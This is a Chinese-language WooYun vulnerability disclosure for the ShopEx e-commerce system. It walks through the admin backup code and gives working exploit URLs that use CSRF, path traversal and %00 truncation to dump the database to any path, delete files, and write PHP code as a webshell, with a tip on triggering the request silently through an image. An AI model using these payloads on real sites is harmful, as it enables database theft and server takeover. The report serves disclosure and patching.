漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-085732
漏洞标题:shopex csrf脱裤 任意文件删除 文件写shell
相关厂商:ShopEx
漏洞作者: 路人甲
提交时间:2014-12-09 13:01
修复时间:2015-03-09 13:02
公开时间:2015-03-09 13:02
漏洞类型:CSRF
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-12-09: 细节已通知厂商并且等待厂商处理中
2014-12-09: 厂商已经确认,细节仅向厂商公开
2014-12-12: 细节向第三方安全合作伙伴开放
2015-02-02: 细节向核心白帽子及相关领域专家公开
2015-02-12: 细节向普通白帽子公开
2015-02-22: 细节向实习白帽子公开
2015-03-09: 细节向公众公开
简要描述:
shopex csrf脱裤 任意文件删除 文件写shell
详细说明:
所有的漏洞缘由都是因为一个csrf引起的,那么我们来一个个看看:
安装最新版本的shopex:
ctl.backup.php:
function backup(){
if(constant('SAAS_MODE')){
exit;
}
header("Content-type:text/html;charset=utf-8");
$params['sizelimit'] = 1024;
$params['filename'] = ($_GET["filename"]=="")?date("YmdHis", time()):$_GET["filename"];
$params['fileid'] = ($_GET["fileid"]=="")?"0":intval($_GET["fileid"]);
$params['tableid'] = ($_GET["tableid"]=="")?"0":intval($_GET["tableid"]);
$params['startid'] = ($_GET["startid"]=="")?"-1":intval($_GET["startid"]);
if ($params['sizelimit']!="")
{
$oBackup=&$this->system->loadModel('system/backup');
if(!$oBackup->startBackup($params,$nexturl)){
echo __('正在备份第').($params['fileid']+2).__('卷,请勿进行其他页面操作。').'<script>runbackup("'.$nexturl.'")</script>';
}
else{
$this->system->setConf('system.last_backup',time(),true);
echo "<a href='index.php?ctl=system/sfile&act=getDB&p[0]=multibak_{$params['filename']}.tgz' target='_blank'>备份完毕,请点击本处下载</a>";
}
}
}
跟进去startBackup
public function startBackup( $params, &$nexturl )
{
set_time_limit( 0 );
header( "Content-type:text/html;charset=utf-8" );
$sizelimit = $params['sizelimit'];
$filename = $params['filename'];
$fileid = $params['fileid'];
$tableid = $params['tableid'];
$startid = $params['startid'];
include_once( CORE_DIR."/lib/mysqldumper.class.php" );
$dumper = new Mysqldumper( DB_HOST, DB_USER, DB_PASSWORD, DB_NAME );
$dumper->setDroptables( true );
$dumper->tableid = $tableid;
$dumper->startid = $startid;
$backdir = HOME_DIR."/backup";
$finished = $dumper->multiDump( $filename, $fileid, $sizelimit, $backdir );
++$fileid;
if ( !$finished )
{
$nexturl = "index.php?ctl=system/backup&act=backup&sizelimit={$sizelimit}&filename={$filename}&fileid={$fileid}&tableid=".$dumper->tableid."&startid=".$dumper->startid;
}
else
{
$dir = HOME_DIR."/backup";
$tar =& $this->system->loadModel( "utility/tar" );
chdir( $dir );
$i = 1;
for ( ; $i <= $fileid; ++$i )
{
$tar->addFile( "multibak_".$filename."_".$i.".sql" );
}
$verInfo = $this->system->version( );
$backupdata['app'] = $verInfo['app'];
$backupdata['rev'] = $verInfo['rev'];
$backupdata['vols'] = $fileid;
$xml =& $this->system->loadModel( "utility/xml" );
$xmldata = $xml->array2xml( $backupdata, "backup" );
file_put_contents( "archive.xml", $xmldata );
$tar->addFile( "archive.xml" );
$tar->filename = "multibak_".$filename.".tgz";
$tar->saveTar( );
$i = 1;
for ( ; $i <= $fileid; ++$i )
{
@unlink( @"multibak_".$filename."_".$i.".sql" );
}
@unlink( "archive.xml" );
}
return $finished;
}
跟进multiDump
function multiDump($filename,$fileid,$sizelimit,$backdir,$ignoreList=null) {
// Set line feed
$ret = true;
$lf = "\r\n";
$lencount = 0;
$bakfile = $backdir."/multibak_".$filename."_".($fileid+1).".sql";
if($ignoreList){
$ignoreList = array_flip($ignoreList);
}
$fw = @fopen($bakfile, "wb");
if(!$fw) exit("备份目录{$backdir}不可写");
$resource = mysql_connect($this->getHost(), $this->getDBuser(), $this->getDBpassword(),true);
mysql_select_db($this->getDbname(), $resource);
if(!constant("DB_OLDVERSION"))
mysql_query("SET NAMES '".MYSQL_CHARSET_NAME."'",$resource);
$result = mysql_query("SHOW TABLES");
$tables = $this->result2Array(0, $result);
$filter_tables = array(DB_PREFIX."op_sessions", DB_PREFIX."operators", DB_PREFIX."admin_roles");
foreach ($tables as $tblval) {
if(substr($tblval,0,strlen(DB_PREFIX))==DB_PREFIX && !in_array($tblval, $filter_tables)){
$tablearr[] = $tblval;
}
}
// Set header
fwrite($fw, "#". $lf);
fwrite($fw, "# SHOPEX SQL MultiVolumn Dump ID:".($fileid+1) . $lf);
fwrite($fw, "# Version ". $GLOBALS['SHOPEX_THIS_VERSION']. $lf);
fwrite($fw, "# ". $lf);
fwrite($fw, "# Host: " . $this->getHost() . $lf);
fwrite($fw, "# Server version: ". mysql_get_server_info() . $lf);
fwrite($fw, "# PHP Version: " . phpversion() . $lf);
fwrite($fw, "# Database : `" . $this->getDBname() . "`" . $lf);
fwrite($fw, "#");
// Generate dumptext for the tables.
$i=0;
for($j=$this->tableid;$j<count($tablearr);$j++){
$tblval = $tablearr[$j];
$table_prefix = constant('DB_PREFIX');
$subname = substr($tblval,strlen($table_prefix));
$written_tbname = '{shopexdump_table_prefix}'.$subname;
if($this->startid ==-1)
{
fwrite($fw, $lf . $lf . "# --------------------------------------------------------" . $lf . $lf);
$lencount += strlen($lf . $lf . "# --------------------------------------------------------" . $lf . $lf);
fwrite($fw, "#". $lf . "# Table structure for table `$tblval`" . $lf);
$lencount += strlen("#". $lf . "# Table structure for table `$tblval`" . $lf);
fwrite($fw, "#" . $lf . $lf);
$lencount += strlen("#". $lf . "# Table structure for table `$tblval`" . $lf);
// Generate DROP TABLE statement when client wants it to.
mysql_query("ALTER TABLE `$tblval` comment ''");
if($this->isDroptables()) {
fwrite($fw, "DROP TABLE IF EXISTS `$written_tbname`;" . $lf);
$lencount += strlen("DROP TABLE IF EXISTS `$written_tbname`;" . $lf);
}
$result = mysql_query("SHOW CREATE TABLE `$tblval`");
$createtable = $this->result2Array(1, $result);
$tmp_value = str_replace("\n", '', $this->formatcreate($createtable[0]));
$pos = strpos($tmp_value,$tblval);
$tmp_value = substr($tmp_value,0,$pos).$written_tbname.substr($tmp_value,$pos+strlen($tblval));
fwrite($fw, $tmp_value. $lf.$lf);
$lencount += strlen($tmp_value. $lf.$lf);
$this->startid = 0;
}
if($lencount>$sizelimit*1000)
{
$this->tableid = $j;
$this->startid = 0;
$ret = false;
break;
}
if(isset($ignoreList['sdb_'.$subname])){
$this->startid = -1;
continue;
}
fwrite($fw, "#". $lf . "# Dumping data for table `$tblval`". $lf . "#" . $lf);
$lencount += strlen("#". $lf . "# Dumping data for table `$tblval`". $lf . "#" . $lf);
$result = mysql_query("SELECT * FROM `$tblval`");
if(!@mysql_data_seek($result,$this->startid))
{
$this->startid = -1;
continue;
}
while ($row = mysql_fetch_object($result)) {
$insertdump = $lf;
$insertdump .= "INSERT INTO `$written_tbname` VALUES (";
$arr = $this->object2Array($row);
foreach($arr as $key => $value) {
if(!is_null($value))
{
$value = $this->utftrim(mysql_escape_string($value));
$insertdump .= "'$value',";
}
else
$insertdump .= "NULL,";
}
$insertline = rtrim($insertdump,',') . ");";
fwrite($fw, $insertline);
$lencount += strlen($insertline);
$this->startid++;
if($lencount>$sizelimit*1000)
{
$ret = false;
$this->tableid = $j;
break 2;
}
}
$this->startid = -1;
$i++;
// if ($i== 5) break;
}
mysql_close($resource);
fclose($fw);
chmod($bakfile, 0666);
return $ret;
}
从整个流程来函,有以下几处问题
1.$finished = $dumper->multiDump( $filename, $fileid, $sizelimit, $backdir );
直接post过来filename 没有做任何处理,进行了文件存储,当然了这里$filename后面会添加一个tgz的后缀
那么问题就来了,%00未进行过滤
怎么进行目录遍历呢,举例子
如果path:/a/b/c/g.php
那么这样的遍历也是可以的/a/b/c/g.php/../../
所以我们可以先备份一个文件,然后再目录遍历到任何地方,这样一来就不会报错
2.如果备份失败那么进行@unlink( @"multibak_".$filename."_".$i.".sql" );,这里就有问题了,这里的filename 完全可以控制,而且还可以进行%00截断
3.$tar->addFile( "multibak_".$filename."_".$i.".sql" ); 这个代码会往文件的开头添加这个文件名,那么问题就来了
我们的文件名如果叫<?php phpinfo()?>,是不是文件里面就多了php代码,在加上文件截断,目录遍历,我们可以再任何一个可写目录下生成一个shellcode,这里其实有一个问题要解决,在windows底下文件名是不允许出现<>这样的字符的,所以成立的条件的事该系统存在于linux系统,大多数shopex都是搭建在liunx系统上的,这个忧虑可以排除
开始测试:
GET型文件脱裤:
管理员登陆:
url:
http://localhost/shopex/shopadmin/index.php?ctl=system/backup&act=backup&sizelimit=1024&filename=20141203094227.tgz/../../../../../../../../../aaa.php%00&fileid=1&tableid=99&startid=142
由于我的站点搭建在windows系统下面,所以直接在d:下面建立了一个aaa.php
这是个GET类型的csrf,怎么去触发,很简单,不管你是用图片,还是其他什么的,反正神不知鬼不觉就好
我想说的就是看到这个里面的内容,现在完全和我分析的一毛一样
由于在windows底下所以当你发送:
这个是因为这一段代码导致:
$fw = @fopen($bakfile, "wb");
if(!$fw) exit("备份目录{$backdir}不可写");
因为windows底下不支持<> 等等文件,我们把这一段代码移到linux底下看看是否可以穿件文件
如果我们在linux底下搭建shope 发送相同url:
http://localhost/shopex/shopadmin/index.php?ctl=system/backup&act=backup&sizelimit=1024&filename=20141203094227.tgz/../../../../../../../../../<?php phpinfo()?>.php%00&fileid=1&tableid=99&startid=142
漏洞证明:
修复方案:
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:5
确认时间:2014-12-09 17:54
厂商回复:
非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢
最新状态:
暂无